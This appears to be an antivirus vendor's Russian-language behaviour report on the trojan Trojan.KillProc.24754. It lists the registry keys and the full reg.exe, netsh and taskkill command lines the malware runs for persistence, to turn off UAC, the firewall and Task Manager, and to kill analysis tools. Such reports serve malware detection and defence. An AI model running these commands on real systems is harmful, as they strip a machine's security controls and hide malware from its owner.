Trojan.KillProc.24754

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Active Setup\Installed Components\{004005C0-47FC-AAC0-A001-00CFAC63AAA0}] 'StubPath' = ''
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Windows Security' = '%WINDIR%\wlcom.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Windows Security' = '%WINDIR%\wlcom.exe'

Вредоносные функции:

Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DoNotAllowExceptions' = '00000000'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

Для затруднения выявления своего присутствия в системе

блокирует отображение:

скрытых файлов

блокирует запуск следующих системных утилит:

Диспетчера задач (Taskmgr)

блокирует:

Средство контроля пользовательских учетных записей (UAC)

Создает и запускает на исполнение:

'%WINDIR%\wlcom.exe'

Запускает на исполнение:

'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{004005C0-47FC-AAC0-A001-00CFAC63AAA0}" /v "IsInstalled" /t REG_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{004005C0-47FC-AAC0-A001-00CFAC63AAA0}" /v "Version" /t REG_SZ /d "1,0,0,0" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{004005C0-47FC-AAC0-A001-00CFAC63AAA0}" /t REG_SZ /d "Windows Live Messenger" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{004005C0-47FC-AAC0-A001-00CFAC63AAA0}" /v "StubPath" /t REG_EXPAND_SZ /d "%WINDIR%\wlcom.exe" /f
'<SYSTEM32>\reg.exe' ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableInstallerDetection /t reg_dword /d 0 /f
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t reg_dword /d 2 /f
'<SYSTEM32>\reg.exe' ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t reg_dword /d 2 /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{004005C0-47FC-AAC0-A001-00CFAC63AAA0}" /v "ComponentID" /t REG_SZ /d "Wlmcom" /f
'<SYSTEM32>\taskkill.exe' /F /IM procexp.exe
'<SYSTEM32>\taskkill.exe' /F /IM procexp64.exe
'<SYSTEM32>\taskkill.exe' /F /IM taskmgr.exe
'<SYSTEM32>\taskkill.exe' /F /IM wireshark.exe
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{004005C0-47FC-AAC0-A001-00CFAC63AAA0}" /v "Locale" /t REG_SZ /d "*" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{004005C0-47FC-AAC0-A001-00CFAC63AAA0}" /v "DontAsk" /t REG_SZ /d "2" /f
'<SYSTEM32>\netsh.exe' firewall set opmode mode=disable
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableInstallerDetection /t reg_dword /d 0 /f
'<SYSTEM32>\reg.exe' ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Windows Security" /t REG_SZ /d "%WINDIR%\wlcom.exe" /f
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t reg_dword /d 1 /f
'<SYSTEM32>\reg.exe' ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t reg_dword /d 1 /f
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Windows Security" /t REG_SZ /d "%WINDIR%\wlcom.exe" /f
'<SYSTEM32>\taskkill.exe' /F /IM msgr.exe
'<SYSTEM32>\taskkill.exe' /F /IM msgrs.exe
'<SYSTEM32>\taskkill.exe' /F /IM xddcopy.exe
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v NoControlPanel /t reg_dword /d 1 /f
'<SYSTEM32>\reg.exe' ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /f
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v Filter%USERNAME%Token /t reg_dword /d 0 /f
'<SYSTEM32>\reg.exe' ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v Filter%USERNAME%Token /t reg_dword /d 0 /f
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /f
'<SYSTEM32>\reg.exe' ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v NoControlPanel /t reg_dword /d 1 /f
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /f
'<SYSTEM32>\reg.exe' ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /f